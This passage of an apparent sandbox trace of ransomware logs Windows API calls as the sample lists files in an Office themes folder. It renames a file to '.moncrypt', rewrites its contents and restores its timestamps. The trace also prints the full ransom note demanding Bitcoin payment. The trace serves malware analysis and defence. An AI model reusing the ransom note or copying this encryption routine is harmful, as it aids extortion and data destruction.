(in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpUsedDefaultChar=0x0) returned 4 [0051.338] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.338] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.338] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.338] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.338] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.339] GlobalUnlock (hMem=0x44000c) returned 0 [0051.339] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.339] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.339] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.339] GlobalUnlock (hMem=0x44000c) returned 0 [0051.339] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.339] GlobalUnlock (hMem=0x440004) returned 0 [0051.339] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.339] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.339] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0051.340] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\DEEPBLUE\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0051.340] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.340] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.340] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.340] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.340] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.340] GlobalUnlock (hMem=0x440004) returned 0 [0051.340] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.340] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.340] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.340] GlobalUnlock (hMem=0x440004) returned 0 [0051.340] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.340] GlobalUnlock (hMem=0x44000c) returned 0 [0051.340] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.340] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0051.341] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.341] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.341] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.341] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.moncrypt")) returned 1 [0051.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.359] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.359] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x81fd [0051.359] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.359] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.362] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.362] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.362] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.362] GlobalUnlock (hMem=0x440004) returned 0 [0051.362] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.362] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.362] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.362] GlobalUnlock (hMem=0x440004) returned 0 [0051.362] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.362] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.362] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.362] GlobalUnlock (hMem=0x44000c) returned 0 [0051.362] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.363] GlobalUnlock (hMem=0x440004) returned 0 [0051.363] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.363] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.363] GlobalUnlock (hMem=0x440004) returned 0 [0051.363] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.363] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.363] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.363] GlobalUnlock (hMem=0x440004) returned 0 [0051.363] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.363] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.363] SetFilePointer (in: hFile=0x18c, lDistanceToMove=33277, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x81fd [0051.363] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.363] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.363] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.375] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.375] CloseHandle (hObject=0x18c) returned 1 [0051.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.377] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.377] CloseHandle (hObject=0x18c) returned 1 [0051.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.378] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.378] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.378] GlobalUnlock (hMem=0x440004) returned 0 [0051.378] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.378] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.378] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.378] GlobalUnlock (hMem=0x440004) returned 0 [0051.378] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.378] GlobalUnlock (hMem=0x44000c) returned 0 [0051.378] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd7ac80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fd7ac80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fd7ac80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.378] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.378] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.378] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.378] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.378] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.378] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.378] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.379] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.379] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.379] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.379] CloseHandle (hObject=0x18c) returned 1 [0051.379] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.379] GetLastError () returned 0x12 [0051.379] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.379] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.379] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.379] GlobalUnlock (hMem=0x44000c) returned 0 [0051.379] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.379] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.379] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.379] GlobalUnlock (hMem=0x44000c) returned 0 [0051.379] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.379] GlobalUnlock (hMem=0x440004) returned 0 [0051.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fdc6f40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fdc6f40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.379] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.379] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.380] GlobalLock (hMem=0x440004) returned 0x550170 [0051.380] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.380] GlobalUnlock (hMem=0x440004) returned 0 [0051.380] GlobalLock (hMem=0x440004) returned 0x550170 [0051.380] GlobalLock 